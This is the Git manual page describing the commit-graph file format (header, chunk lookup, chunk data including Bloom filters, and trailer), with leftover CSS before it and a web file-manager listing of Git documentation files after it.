#toc{border-bottom:1px solid #dddddf!important;padding-bottom:0!important}
body.book #header{text-align:center}
body.book #header>h1:first-child{border:0!important;margin:2.5em 0 1em}
body.book #header .details{border:0!important;display:block;padding:0!important}
body.book #header .details span:first-child{margin-left:0!important}
body.book #header .details br{display:block}
body.book #header .details br+span::before{content:none!important}
body.book #toc{border:0!important;text-align:left!important;padding:0!important;margin:0!important}
body.book #toc,body.book #preamble,body.book h1.sect0,body.book .sect1>h2{page-break-before:always}
.listingblock code[data-lang]::before{display:block}
#footer{padding:0 .9375em}
.hide-on-print{display:none!important}
.print-only{display:block!important}
.hide-for-print{display:none!important}
.show-for-print{display:inherit!important}}
@media print,amzn-kf8{#header>h1:first-child{margin-top:1.25rem}
.sect1{padding:0!important}
.sect1+.sect1{border:0}
#footer{background:none}
#footer-text{color:rgba(0,0,0,.6);font-size:.9em}}
@media amzn-kf8{#header,#content,#footnotes,#footer{padding:0}}
</style>
<style>
pre>code {
   display: inline;
}
</style>
</head>
<body class="manpage">
<div id="header">
<h1>gitformat-commit-graph(5) Manual Page</h1>
<h2 id="_name">NAME</h2>
<div class="sectionbody">
<p>gitformat-commit-graph - Git commit-graph format</p>
</div>
</div>
<div id="content">
<div class="sect1">
<h2 id="_synopsis">SYNOPSIS</h2>
<div class="sectionbody">
<div class="verseblock">
<pre class="content">$GIT_DIR/objects/info/commit-graph
$GIT_DIR/objects/info/commit-graphs/*</pre>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_description">DESCRIPTION</h2>
<div class="sectionbody">
<div class="paragraph">
<p>The Git commit-graph stores a list of commit OIDs and some associated
metadata, including:</p>
</div>
<div class="ulist">
<ul>
<li>
<p>The generation number of the commit.</p>
</li>
<li>
<p>The root tree OID.</p>
</li>
<li>
<p>The commit date.</p>
</li>
<li>
<p>The parents of the commit, stored using positional references within
the graph file.</p>
</li>
<li>
<p>The Bloom filter of the commit carrying the paths that were changed between
the commit and its first parent, if requested.</p>
</li>
</ul>
</div>
<div class="paragraph">
<p>These positional references are stored as unsigned 32-bit integers
corresponding to the array position within the list of commit OIDs. Due
to some special constants we use to track parents, we can store at most
(1 &lt;&lt; 30) + (1 &lt;&lt; 29) + (1 &lt;&lt; 28) - 1 (around 1.8 billion) commits.</p>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_commit_graph_files_have_the_following_format">Commit-graph files have the following format:</h2>
<div class="sectionbody">
<div class="paragraph">
<p>In order to allow extensions that add extra data to the graph, we organize
the body into "chunks" and provide a binary lookup table at the beginning
of the body. The header includes certain values, such as number of chunks
and hash type.</p>
</div>
<div class="paragraph">
<p>All multi-byte numbers are in network byte order.</p>
</div>
<div class="sect2">
<h3 id="_header">HEADER:</h3>
<div class="literalblock">
<div class="content">
<pre>4-byte signature:
    The signature is: {'C', 'G', 'P', 'H'}</pre>
</div>
</div>
<div class="literalblock">
<div class="content">
<pre>1-byte version number:
    Currently, the only valid version is 1.</pre>
</div>
</div>
<div class="literalblock">
<div class="content">
<pre> 1-byte Hash Version
     We infer the hash length (H) from this value:
1 =&gt; SHA-1
2 =&gt; SHA-256
     If the hash type does not match the repository's hash algorithm, the
     commit-graph file should be ignored with a warning presented to the
     user.</pre>
</div>
</div>
<div class="literalblock">
<div class="content">
<pre>1-byte number (C) of "chunks"</pre>
</div>
</div>
<div class="literalblock">
<div class="content">
<pre>1-byte number (B) of base commit-graphs
    We infer the length (H*B) of the Base Graphs chunk
    from this value.</pre>
</div>
</div>
</div>
<div class="sect2">
<h3 id="_chunk_lookup">CHUNK LOOKUP:</h3>
<div class="literalblock">
<div class="content">
<pre>(C + 1) * 12 bytes listing the table of contents for the chunks:
    First 4 bytes describe the chunk id. Value 0 is a terminating label.
    Other 8 bytes provide the byte-offset in current file for chunk to
    start. (Chunks are ordered contiguously in the file, so you can infer
    the length using the next chunk position if necessary.) Each chunk
    ID appears at most once.</pre>
</div>
</div>
<div class="literalblock">
<div class="content">
<pre>The CHUNK LOOKUP matches the table of contents from
the chunk-based file format, see linkgit:gitformat-chunk[5]</pre>
</div>
</div>
<div class="literalblock">
<div class="content">
<pre>The remaining data in the body is described one chunk at a time, and
these chunks may be given in any order. Chunks are required unless
otherwise specified.</pre>
</div>
</div>
</div>
<div class="sect2">
<h3 id="_chunk_data">CHUNK DATA:</h3>
<div class="sect3">
<h4 id="_oid_fanout_id_o_i_d_f_256_4_bytes">OID Fanout (ID: {<em>O</em>, <em>I</em>, <em>D</em>, <em>F</em>}) (256 * 4 bytes)</h4>
<div class="literalblock">
<div class="content">
<pre>The ith entry, F[i], stores the number of OIDs with first
byte at most i. Thus F[255] stores the total
number of commits (N).</pre>
</div>
</div>
</div>
<div class="sect3">
<h4 id="_oid_lookup_id_o_i_d_l_n_h_bytes">OID Lookup (ID: {<em>O</em>, <em>I</em>, <em>D</em>, <em>L</em>}) (N * H bytes)</h4>
<div class="literalblock">
<div class="content">
<pre>The OIDs for all commits in the graph, sorted in ascending order.</pre>
</div>
</div>
</div>
<div class="sect3">
<h4 id="_commit_data_id_c_d_a_t_n_h_16_bytes">Commit Data (ID: {<em>C</em>, <em>D</em>, <em>A</em>, <em>T</em> }) (N * (H + 16) bytes)</h4>
<div class="ulist">
<ul>
<li>
<p>The first H bytes are for the OID of the root tree.</p>
</li>
<li>
<p>The next 8 bytes are for the positions of the first two parents
of the ith commit. Stores value 0x70000000 if no parent in that
position. If there are more than two parents, the second value
has its most-significant bit on and the other bits store an array
position into the Extra Edge List chunk.</p>
</li>
<li>
<p>The next 8 bytes store the topological level (generation number v1)
of the commit and
the commit time in seconds since EPOCH. The generation number
uses the higher 30 bits of the first 4 bytes, while the commit
time uses the 32 bits of the second 4 bytes, along with the lowest
2 bits of the lowest byte, storing the 33rd and 34th bit of the
commit time.</p>
</li>
</ul>
</div>
</div>
<div class="sect3">
<h4 id="_generation_data_id_g_d_a_2_n_4_bytes_optional">Generation Data (ID: {<em>G</em>, <em>D</em>, <em>A</em>, <em>2</em> }) (N * 4 bytes) [Optional]</h4>
<div class="ulist">
<ul>
<li>
<p>This list of 4-byte values store corrected commit date offsets for the
commits, arranged in the same order as commit data chunk.</p>
</li>
<li>
<p>If the corrected commit date offset cannot be stored within 31 bits,
the value has its most-significant bit on and the other bits store
the position of corrected commit date into the Generation Data Overflow
chunk.</p>
</li>
<li>
<p>Generation Data chunk is present only when commit-graph file is written
by compatible versions of Git and in case of split commit-graph chains,
the topmost layer also has Generation Data chunk.</p>
</li>
</ul>
</div>
</div>
<div class="sect3">
<h4 id="_generation_data_overflow_id_g_d_o_2_optional">Generation Data Overflow (ID: {<em>G</em>, <em>D</em>, <em>O</em>, <em>2</em> }) [Optional]</h4>
<div class="ulist">
<ul>
<li>
<p>This list of 8-byte values stores the corrected commit date offsets
for commits with corrected commit date offsets that cannot be
stored within 31 bits.</p>
</li>
<li>
<p>Generation Data Overflow chunk is present only when Generation Data
chunk is present and at least one corrected commit date offset cannot
be stored within 31 bits.</p>
</li>
</ul>
</div>
</div>
<div class="sect3">
<h4 id="_extra_edge_list_id_e_d_g_e_optional">Extra Edge List (ID: {<em>E</em>, <em>D</em>, <em>G</em>, <em>E</em>}) [Optional]</h4>
<div class="literalblock">
<div class="content">
<pre>This list of 4-byte values store the second through nth parents for
all octopus merges. The second parent value in the commit data stores
an array position within this list along with the most-significant bit
on. Starting at that array position, iterate through this list of commit
positions for the parents until reaching a value with the most-significant
bit on. The other bits correspond to the position of the last parent.</pre>
</div>
</div>
</div>
<div class="sect3">
<h4 id="_bloom_filter_index_id_b_i_d_x_n_4_bytes_optional">Bloom Filter Index (ID: {<em>B</em>, <em>I</em>, <em>D</em>, <em>X</em>}) (N * 4 bytes) [Optional]</h4>
<div class="ulist">
<ul>
<li>
<p>The ith entry, BIDX[i], stores the number of bytes in all Bloom filters
from commit 0 to commit i (inclusive) in lexicographic order. The Bloom
filter for the i-th commit spans from BIDX[i-1] to BIDX[i] (plus header
length), where BIDX[-1] is 0.</p>
</li>
<li>
<p>The BIDX chunk is ignored if the BDAT chunk is not present.</p>
</li>
</ul>
</div>
</div>
<div class="sect3">
<h4 id="_bloom_filter_data_id_b_d_a_t_optional">Bloom Filter Data (ID: {<em>B</em>, <em>D</em>, <em>A</em>, <em>T</em>}) [Optional]</h4>
<div class="ulist">
<ul>
<li>
<p>It starts with header consisting of three unsigned 32-bit integers:</p>
<div class="ulist">
<ul>
<li>
<p>Version of the hash algorithm being used. We currently support
value 2 which corresponds to the 32-bit version of the murmur3 hash
implemented exactly as described in
<a href="https://en.wikipedia.org/wiki/MurmurHash#Algorithm" class="bare">https://en.wikipedia.org/wiki/MurmurHash#Algorithm</a> and the double
hashing technique using seed values 0x293ae76f and 0x7e646e2 as
described in <a href="https://doi.org/10.1007/978-3-540-30494-4_26" class="bare">https://doi.org/10.1007/978-3-540-30494-4_26</a> "Bloom Filters
in Probabilistic Verification". Version 1 Bloom filters have a bug that appears
when char is signed and the repository has path names that have characters &gt;=
0x80; Git supports reading and writing them, but this ability will be removed
in a future version of Git.</p>
</li>
<li>
<p>The number of times a path is hashed and hence the number of bit positions
that cumulatively determine whether a file is present in the commit.</p>
</li>
<li>
<p>The minimum number of bits <em>b</em> per entry in the Bloom filter. If the filter
contains <em>n</em> entries, then the filter size is the minimum number of 64-bit
words that contain n*b bits.</p>
</li>
</ul>
</div>
</li>
<li>
<p>The rest of the chunk is the concatenation of all the computed Bloom
filters for the commits in lexicographic order.</p>
</li>
<li>
<p>Note: Commits with no changes or more than 512 changes have Bloom filters
of length one, with either all bits set to zero or one respectively.</p>
</li>
<li>
<p>The BDAT chunk is present if and only if BIDX is present.</p>
</li>
</ul>
</div>
</div>
<div class="sect3">
<h4 id="_base_graphs_list_id_b_a_s_e_optional">Base Graphs List (ID: {<em>B</em>, <em>A</em>, <em>S</em>, <em>E</em>}) [Optional]</h4>
<div class="literalblock">
<div class="content">
<pre>This list of H-byte hashes describe a set of B commit-graph files that
form a commit-graph chain. The graph position for the ith commit in this
file's OID Lookup chunk is equal to i plus the number of commits in all
base graphs.  If B is non-zero, this chunk must exist.</pre>
</div>
</div>
</div>
</div>
<div class="sect2">
<h3 id="_trailer">TRAILER:</h3>
<div class="literalblock">
<div class="content">
<pre>H-byte HASH-checksum of all of the above.</pre>
</div>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_historical_notes">Historical Notes:</h2>
<div class="sectionbody">
<div class="paragraph">
<p>The Generation Data (GDA2) and Generation Data Overflow (GDO2) chunks have
the number <em>2</em> in their chunk IDs because a previous version of Git wrote
possibly erroneous data in these chunks with the IDs "GDAT" and "GDOV". By
changing the IDs, newer versions of Git will silently ignore those older
chunks and write the new information without trusting the incorrect data.</p>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_git">GIT</h2>
<div class="sectionbody">
<div class="paragraph">
<p>Part of the <a href="git.html">git(1)</a> suite</p>
</div>
</div>
</div>
</div>
<div id="footer">
<div id="footer-text">
Last updated 2025-11-17 16:38:17 UTC
</div>
</div>
</body>
</html>

Filemanager

Name Type Size Permission Actions
RelNotes Folder 0755
contrib Folder 0755
howto Folder 0755
technical Folder 0755
BreakingChanges.adoc File 16.64 KB 0644
BreakingChanges.html File 49.87 KB 0644
CODE_OF_CONDUCT.md File 5.85 KB 0644
DecisionMaking.adoc File 3.77 KB 0644
DecisionMaking.html File 34.35 KB 0644
MyFirstContribution.adoc File 55.2 KB 0644
MyFirstContribution.html File 106.17 KB 0644
MyFirstObjectWalk.adoc File 28.88 KB 0644
MyFirstObjectWalk.html File 73.09 KB 0644
README.md File 3.58 KB 0644
ReviewingGuidelines.adoc File 8.69 KB 0644
ReviewingGuidelines.html File 40.35 KB 0644
SubmittingPatches.adoc File 38.07 KB 0644
SubmittingPatches.html File 78.92 KB 0644
ToolsForGit.adoc File 1.32 KB 0644
ToolsForGit.html File 32.47 KB 0644
blame-options.adoc File 5.96 KB 0644
cmds-ancillaryinterrogators.adoc File 1.26 KB 0644
cmds-ancillarymanipulators.adoc File 796 B 0644
cmds-developerinterfaces.adoc File 678 B 0644
cmds-foreignscminterface.adoc File 399 B 0644
cmds-guide.adoc File 833 B 0644
cmds-mainporcelain.adoc File 3.01 KB 0644
cmds-plumbinginterrogators.adoc File 1.73 KB 0644
cmds-plumbingmanipulators.adoc File 1.47 KB 0644
cmds-purehelpers.adoc File 1.24 KB 0644
cmds-synchelpers.adoc File 449 B 0644
cmds-synchingrepositories.adoc File 397 B 0644
cmds-userinterfaces.adoc File 507 B 0644
config.adoc File 18.27 KB 0644
date-formats.adoc File 1.14 KB 0644
diff-context-options.adoc File 372 B 0644
diff-format.adoc File 6.44 KB 0644
diff-generate-patch.adoc File 7.02 KB 0644
diff-options.adoc File 33.21 KB 0644
docbook-xsl.css File 4.45 KB 0644
docinfo.html File 50 B 0644
everyday.html File 30.27 KB 0644
fetch-options.adoc File 12.36 KB 0644
for-each-ref-options.adoc File 3.02 KB 0644
fsck-msgids.adoc File 6.37 KB 0644
git-add.adoc File 15.64 KB 0644
git-add.html File 53.06 KB 0644
git-am.adoc File 9.39 KB 0644
git-am.html File 45.37 KB 0644
git-annotate.adoc File 772 B 0644
git-annotate.html File 40.83 KB 0644
git-apply.adoc File 10.89 KB 0644
git-apply.html File 45.13 KB 0644
git-archive.adoc File 8.27 KB 0644
git-archive.html File 42.43 KB 0644
git-backfill.adoc File 2.52 KB 0644
git-backfill.html File 33.77 KB 0644
git-bisect-lk2009.adoc File 48.53 KB 0644
git-bisect-lk2009.html File 91.41 KB 0644
git-bisect.adoc File 17.77 KB 0644
git-bisect.html File 53.82 KB 0644
git-blame.adoc File 8.66 KB 0644
git-blame.html File 53.85 KB 0644
git-branch.adoc File 15.67 KB 0644
git-branch.html File 62.71 KB 0644
git-bugreport.adoc File 2.51 KB 0644
git-bugreport.html File 33.75 KB 0644
git-bundle.adoc File 13 KB 0644
git-bundle.html File 47.71 KB 0644
git-cat-file.adoc File 14.66 KB 0644
git-cat-file.html File 51.94 KB 0644
git-check-attr.adoc File 3.32 KB 0644
git-check-attr.html File 35.31 KB 0644
git-check-ignore.adoc File 4.06 KB 0644
git-check-ignore.html File 36.04 KB 0644
git-check-mailmap.adoc File 1.54 KB 0644
git-check-mailmap.html File 32.63 KB 0644
git-check-ref-format.adoc File 4.93 KB 0644
git-check-ref-format.html File 36.9 KB 0644
git-checkout-index.adoc File 5.54 KB 0644
git-checkout-index.html File 38 KB 0644
git-checkout.adoc File 21.72 KB 0644
git-checkout.html File 66.35 KB 0644
git-cherry-pick.adoc File 8.97 KB 0644
git-cherry-pick.html File 43.87 KB 0644
git-cherry.adoc File 3.53 KB 0644
git-cherry.html File 35.42 KB 0644
git-clean.adoc File 4.63 KB 0644
git-clean.html File 36.81 KB 0644
git-clone.adoc File 15.88 KB 0644
git-clone.html File 60.38 KB 0644
git-column.adoc File 2.15 KB 0644
git-column.html File 35.98 KB 0644
git-commit-graph.adoc File 5.89 KB 0644
git-commit-graph.html File 41.03 KB 0644
git-commit-tree.adoc File 2.65 KB 0644
git-commit-tree.html File 39.44 KB 0644
git-commit.adoc File 21.16 KB 0644
git-commit.html File 70.5 KB 0644
git-config.adoc File 20.88 KB 0644
git-config.html File 445.55 KB 0644
git-contacts.adoc File 2.52 KB 0644
git-contacts.html File 33.92 KB 0644
git-count-objects.adoc File 1.35 KB 0644
git-count-objects.html File 32.25 KB 0644
git-credential-cache--daemon.adoc File 891 B 0644
git-credential-cache--daemon.html File 31.46 KB 0644
git-credential-cache.adoc File 3.12 KB 0644
git-credential-cache.html File 34.16 KB 0644
git-credential-store.adoc File 3.55 KB 0644
git-credential-store.html File 35.03 KB 0644
git-credential.adoc File 11.95 KB 0644
git-credential.html File 45.38 KB 0644
git-describe.adoc File 8.12 KB 0644
git-describe.html File 40.6 KB 0644
git-diagnose.adoc File 2.16 KB 0644
git-diagnose.html File 33.22 KB 0644
git-diff-files.adoc File 1.2 KB 0644
git-diff-files.html File 92.09 KB 0644
git-diff-index.adoc File 4.7 KB 0644
git-diff-index.html File 97.13 KB 0644
git-diff-pairs.adoc File 1.96 KB 0644
git-diff-pairs.html File 83.75 KB 0644
git-diff-tree.adoc File 4.09 KB 0644
git-diff-tree.html File 126.96 KB 0644
git-diff.adoc File 8.28 KB 0644
git-diff.html File 119.69 KB 0644
git-difftool.adoc File 4.49 KB 0644
git-difftool.html File 42.05 KB 0644
git-fast-export.adoc File 12.37 KB 0644
git-fast-export.html File 45.54 KB 0644
git-fast-import.adoc File 61.52 KB 0644
git-fast-import.html File 114.47 KB 0644
git-fetch-pack.adoc File 4.14 KB 0644
git-fetch-pack.html File 35.78 KB 0644
git-fetch.adoc File 11.54 KB 0644
git-fetch.html File 88.96 KB 0644
git-filter-branch.adoc File 30.3 KB 0644
git-filter-branch.html File 65.75 KB 0644
git-fmt-merge-msg.adoc File 1.9 KB 0644
git-fmt-merge-msg.html File 34.3 KB 0644
git-for-each-ref.adoc File 15.81 KB 0644
git-for-each-ref.html File 60.05 KB 0644
git-for-each-repo.adoc File 1.9 KB 0644
git-for-each-repo.html File 33.09 KB 0644
git-format-patch.adoc File 29.21 KB 0644
git-format-patch.html File 94.24 KB 0644
git-fsck-objects.adoc File 354 B 0644
git-fsck-objects.html File 30.7 KB 0644
git-fsck.adoc File 5.99 KB 0644
git-fsck.html File 53.52 KB 0644
git-fsmonitor--daemon.adoc File 3.53 KB 0644
git-fsmonitor--daemon.html File 35.9 KB 0644
git-gc.adoc File 6.59 KB 0644
git-gc.html File 49.01 KB 0644
git-get-tar-commit-id.adoc File 753 B 0644
git-get-tar-commit-id.html File 31.12 KB 0644
git-grep.adoc File 11.05 KB 0644
git-grep.html File 47.94 KB 0644
git-hash-object.adoc File 2.09 KB 0644
git-hash-object.html File 32.91 KB 0644
git-help.adoc File 7.35 KB 0644
git-help.html File 40.88 KB 0644
git-hook.adoc File 1 KB 0644
git-hook.html File 31.95 KB 0644
git-http-backend.adoc File 11.36 KB 0644
git-http-backend.html File 43.53 KB 0644
git-http-fetch.adoc File 1.74 KB 0644
git-http-fetch.html File 32.71 KB 0644
git-http-push.adoc File 2.92 KB 0644
git-http-push.html File 34.32 KB 0644
git-imap-send.adoc File 6.46 KB 0644
git-imap-send.html File 42.43 KB 0644
git-index-pack.adoc File 6.15 KB 0644
git-index-pack.html File 38.61 KB 0644
git-init-db.adoc File 409 B 0644
git-init-db.html File 30.76 KB 0644
git-init.adoc File 6.08 KB 0644
git-init.html File 41.3 KB 0644
git-interpret-trailers.adoc File 12.54 KB 0644
git-interpret-trailers.html File 53.71 KB 0644
git-last-modified.adoc File 1.33 KB 0644
git-last-modified.html File 32.41 KB 0644
git-log.adoc File 6.79 KB 0644
git-log.html File 191.76 KB 0644
git-ls-files.adoc File 11.83 KB 0644
git-ls-files.html File 47 KB 0644
git-ls-remote.adoc File 5.01 KB 0644
git-ls-remote.html File 37.24 KB 0644
git-ls-tree.adoc File 5.39 KB 0644
git-ls-tree.html File 38.16 KB 0644
git-mailinfo.adoc File 3.78 KB 0644
git-mailinfo.html File 36.02 KB 0644
git-mailsplit.adoc File 1.31 KB 0644
git-mailsplit.html File 32.31 KB 0644
git-maintenance.adoc File 19.28 KB 0644
git-maintenance.html File 64.48 KB 0644
git-merge-base.adoc File 7.58 KB 0644
git-merge-base.html File 41.4 KB 0644
git-merge-file.adoc File 3.98 KB 0644
git-merge-file.html File 36.22 KB 0644
git-merge-index.adoc File 2.39 KB 0644
git-merge-index.html File 33.51 KB 0644
git-merge-one-file.adoc File 387 B 0644
git-merge-one-file.html File 30.72 KB 0644
git-merge-tree.adoc File 12.62 KB 0644
git-merge-tree.html File 47.06 KB 0644
git-merge.adoc File 14.79 KB 0644
git-merge.html File 83.48 KB 0644
git-mergetool--lib.adoc File 1.43 KB 0644
git-mergetool--lib.html File 32.23 KB 0644
git-mergetool.adoc File 4.41 KB 0644
git-mergetool.html File 53.3 KB 0644
git-mktag.adoc File 1.74 KB 0644
git-mktag.html File 33.01 KB 0644
git-mktree.adoc File 1.05 KB 0644
git-mktree.html File 31.64 KB 0644
git-multi-pack-index.adoc File 5.03 KB 0644
git-multi-pack-index.html File 37 KB 0644
git-mv.adoc File 2.04 KB 0644
git-mv.html File 33.39 KB 0644
git-name-rev.adoc File 3.27 KB 0644
git-name-rev.html File 34.5 KB 0644
git-notes.adoc File 14 KB 0644
git-notes.html File 56.05 KB 0644
git-pack-objects.adoc File 21.46 KB 0644
git-pack-objects.html File 56.16 KB 0644
git-pack-redundant.adoc File 1.83 KB 0644
git-pack-redundant.html File 33.01 KB 0644
git-pack-refs.adoc File 1.66 KB 0644
git-pack-refs.html File 35.09 KB 0644
git-patch-id.adoc File 2.37 KB 0644
git-patch-id.html File 33.47 KB 0644
git-prune-packed.adoc File 946 B 0644
git-prune-packed.html File 31.75 KB 0644
git-prune.adoc File 1.87 KB 0644
git-prune.html File 33.37 KB 0644
git-pull.adoc File 7.7 KB 0644
git-pull.html File 90.41 KB 0644
git-push.adoc File 28.59 KB 0644
git-push.html File 90 KB 0644
git-quiltimport.adoc File 1.65 KB 0644
git-quiltimport.html File 32.57 KB 0644
git-range-diff.adoc File 10.72 KB 0644
git-range-diff.html File 45.43 KB 0644
git-read-tree.adoc File 16.52 KB 0644
git-read-tree.html File 51.16 KB 0644
git-rebase.adoc File 45.65 KB 0644
git-rebase.html File 106.94 KB 0644
git-receive-pack.adoc File 9.98 KB 0644
git-receive-pack.html File 43.53 KB 0644
git-reflog.adoc File 5.52 KB 0644
git-reflog.html File 38.51 KB 0644
git-refs.adoc File 3.22 KB 0644
git-refs.html File 43.37 KB 0644
git-remote-ext.adoc File 3.88 KB 0644
git-remote-ext.html File 35.66 KB 0644
git-remote-fd.adoc File 1.59 KB 0644
git-remote-fd.html File 32.82 KB 0644
git-remote-helpers.html File 30.25 KB 0644
git-remote.adoc File 8.56 KB 0644
git-remote.html File 43.07 KB 0644
git-repack.adoc File 11.2 KB 0644
git-repack.html File 45.04 KB 0644
git-replace.adoc File 5.09 KB 0644
git-replace.html File 37.54 KB 0644
git-replay.adoc File 4.29 KB 0644
git-replay.html File 90.78 KB 0644
git-repo.adoc File 3.36 KB 0644
git-repo.html File 35.99 KB 0644
git-request-pull.adoc File 1.99 KB 0644
git-request-pull.html File 33.35 KB 0644
git-rerere.adoc File 7.6 KB 0644
git-rerere.html File 39.92 KB 0644
git-reset.adoc File 18.78 KB 0644
git-reset.html File 57.85 KB 0644
git-restore.adoc File 6.9 KB 0644
git-restore.html File 41.63 KB 0644
git-rev-list.adoc File 3.15 KB 0644
git-rev-list.html File 129.4 KB 0644
git-rev-parse.adoc File 16.64 KB 0644
git-rev-parse.html File 74.9 KB 0644
git-revert.adoc File 5.3 KB 0644
git-revert.html File 39.11 KB 0644
git-rm.adoc File 7.11 KB 0644
git-rm.html File 40.73 KB 0644
git-send-pack.adoc File 5.05 KB 0644
git-send-pack.html File 37.18 KB 0644
git-sh-i18n--envsubst.adoc File 928 B 0644
git-sh-i18n--envsubst.html File 31.46 KB 0644
git-sh-i18n.adoc File 1.12 KB 0644
git-sh-i18n.html File 31.79 KB 0644
git-sh-setup.adoc File 2.91 KB 0644
git-sh-setup.html File 34.1 KB 0644
git-shell.adoc File 2.91 KB 0644
git-shell.html File 34.49 KB 0644
git-shortlog.adoc File 4.31 KB 0644
git-shortlog.html File 75.95 KB 0644
git-show-branch.adoc File 6.44 KB 0644
git-show-branch.html File 39.05 KB 0644
git-show-index.adoc File 1.46 KB 0644
git-show-index.html File 32.71 KB 0644
git-show-ref.adoc File 6.6 KB 0644
git-show-ref.html File 38.82 KB 0644
git-show.adoc File 1.89 KB 0644
git-show.html File 122.94 KB 0644
git-sparse-checkout.adoc File 22.22 KB 0644
git-sparse-checkout.html File 58.47 KB 0644
git-stage.adoc File 299 B 0644
git-stage.html File 30.65 KB 0644
git-stash.adoc File 15.76 KB 0644
git-stash.html File 55 KB 0644
git-status.adoc File 19.9 KB 0644
git-status.html File 57.21 KB 0644
git-stripspace.adoc File 1.92 KB 0644
git-stripspace.html File 33.1 KB 0644
git-submodule.adoc File 21.1 KB 0644
git-submodule.html File 57.83 KB 0644
git-switch.adoc File 8.69 KB 0644
git-switch.html File 46.37 KB 0644
git-symbolic-ref.adoc File 2.32 KB 0644
git-symbolic-ref.html File 33.72 KB 0644
git-tag.adoc File 14.63 KB 0644
git-tag.html File 55.53 KB 0644
git-tools.adoc File 422 B 0644
git-tools.html File 30.48 KB 0644
git-unpack-file.adoc File 434 B 0644
git-unpack-file.html File 30.91 KB 0644
git-unpack-objects.adoc File 1.19 KB 0644
git-unpack-objects.html File 31.94 KB 0644
git-update-index.adoc File 23.48 KB 0644
git-update-index.html File 61.22 KB 0644
git-update-ref.adoc File 7.43 KB 0644
git-update-ref.html File 40.78 KB 0644
git-update-server-info.adoc File 801 B 0644
git-update-server-info.html File 31.48 KB 0644
git-upload-archive.adoc File 2.04 KB 0644
git-upload-archive.html File 33.03 KB 0644
git-upload-pack.adoc File 2.94 KB 0644
git-upload-pack.html File 34.59 KB 0644
git-var.adoc File 3.07 KB 0644
git-var.html File 34.64 KB 0644
git-verify-commit.adoc File 573 B 0644
git-verify-commit.html File 31.24 KB 0644
git-verify-pack.adoc File 1.05 KB 0644
git-verify-pack.html File 32.14 KB 0644
git-verify-tag.adoc File 564 B 0644
git-verify-tag.html File 31.25 KB 0644
git-version.adoc File 1.01 KB 0644
git-version.html File 31.72 KB 0644
git-web--browse.adoc File 3.49 KB 0644
git-web--browse.html File 35.36 KB 0644
git-whatchanged.adoc File 1.27 KB 0644
git-whatchanged.html File 32.38 KB 0644
git-worktree.adoc File 21.01 KB 0644
git-worktree.html File 61.82 KB 0644
git-write-tree.adoc File 1.01 KB 0644
git-write-tree.html File 31.81 KB 0644
git.adoc File 44.78 KB 0644
git.html File 114.58 KB 0644
gitattributes.adoc File 49.31 KB 0644
gitattributes.html File 93.83 KB 0644
gitcli.adoc File 11.05 KB 0644
gitcli.html File 44.96 KB 0644
gitcore-tutorial.adoc File 60.78 KB 0644
gitcore-tutorial.html File 110.5 KB 0644
gitcredentials.adoc File 11.9 KB 0644
gitcredentials.html File 45.7 KB 0644
gitdiffcore.adoc File 13.75 KB 0644
gitdiffcore.html File 46.27 KB 0644
giteveryday.adoc File 14.08 KB 0644
giteveryday.html File 50.45 KB 0644
gitfaq.adoc File 25.85 KB 0644
gitfaq.html File 62.81 KB 0644
gitformat-bundle.adoc File 3.18 KB 0644
gitformat-bundle.html File 34.5 KB 0644
gitformat-chunk.adoc File 5.43 KB 0644
gitformat-chunk.html File 37.63 KB 0644
gitformat-commit-graph.adoc File 7.9 KB 0644
gitformat-commit-graph.html File 40.99 KB 0644
gitformat-index.adoc File 14.82 KB 0644
gitformat-index.html File 51.26 KB 0644
gitformat-loose.adoc File 1.82 KB 0644
gitformat-loose.html File 32.63 KB 0644
gitformat-pack.adoc File 26.6 KB 0644
gitformat-pack.html File 66.8 KB 0644
gitformat-signature.adoc File 7.9 KB 0644
gitformat-signature.html File 40.45 KB 0644
gitglossary.adoc File 359 B 0644
gitglossary.html File 72.52 KB 0644
githooks.adoc File 28.95 KB 0644
githooks.html File 69.51 KB 0644
gitignore.adoc File 8.99 KB 0644
gitignore.html File 41.23 KB 0644
gitmailmap.adoc File 3.47 KB 0644
gitmailmap.html File 35.82 KB 0644
gitmodules.adoc File 4.69 KB 0644
gitmodules.html File 36.81 KB 0644
gitnamespaces.adoc File 2.45 KB 0644
gitnamespaces.html File 35.24 KB 0644
gitpacking.adoc File 7.29 KB 0644
gitpacking.html File 45.18 KB 0644
gitprotocol-capabilities.adoc File 14.95 KB 0644
gitprotocol-capabilities.html File 49.99 KB 0644
gitprotocol-common.adoc File 3.1 KB 0644
gitprotocol-common.html File 34.55 KB 0644
gitprotocol-http.adoc File 17.57 KB 0644
gitprotocol-http.html File 55.35 KB 0644
gitprotocol-pack.adoc File 27.03 KB 0644
gitprotocol-pack.html File 64.46 KB 0644
gitprotocol-v2.adoc File 34.75 KB 0644
gitprotocol-v2.html File 75.14 KB 0644
gitremote-helpers.adoc File 21.15 KB 0644
gitremote-helpers.html File 58.39 KB 0644
gitrepository-layout.adoc File 11.61 KB 0644
gitrepository-layout.html File 48.94 KB 0644
gitrevisions.adoc File 824 B 0644
gitrevisions.html File 53.22 KB 0644
gitsubmodules.adoc File 10.13 KB 0644
gitsubmodules.html File 44.44 KB 0644
gittutorial-2.adoc File 14.4 KB 0644
gittutorial-2.html File 46.91 KB 0644
gittutorial.adoc File 22.43 KB 0644
gittutorial.html File 58.15 KB 0644
gitworkflows.adoc File 17.01 KB 0644
gitworkflows.html File 53.02 KB 0644
glossary-content.adoc File 32.31 KB 0644
howto-index.adoc File 3.91 KB 0644
howto-index.html File 36.01 KB 0644
i18n.adoc File 2.87 KB 0644
line-range-format.adoc File 1.15 KB 0644
line-range-options.adoc File 766 B 0644
merge-options.adoc File 7.26 KB 0644
merge-strategies.adoc File 6.36 KB 0644
mergetools-diff.adoc File 1.54 KB 0644
mergetools-merge.adoc File 2.6 KB 0644
object-format-disclaimer.adoc File 470 B 0644
pack-refs-options.adoc File 2.12 KB 0644
pretty-formats.adoc File 15.43 KB 0644
pretty-options.adoc File 4.43 KB 0644
pull-fetch-param.adoc File 5.44 KB 0644
ref-reachability-filters.adoc File 391 B 0644
ref-storage-format.adoc File 174 B 0644
rerere-options.adoc File 418 B 0644
rev-list-description.adoc File 2.47 KB 0644
rev-list-options.adoc File 48.59 KB 0644
revisions.adoc File 16.71 KB 0644
scalar.adoc File 7.27 KB 0644
scalar.html File 40.73 KB 0644
sequencer.adoc File 472 B 0644
signoff-option.adoc File 791 B 0644
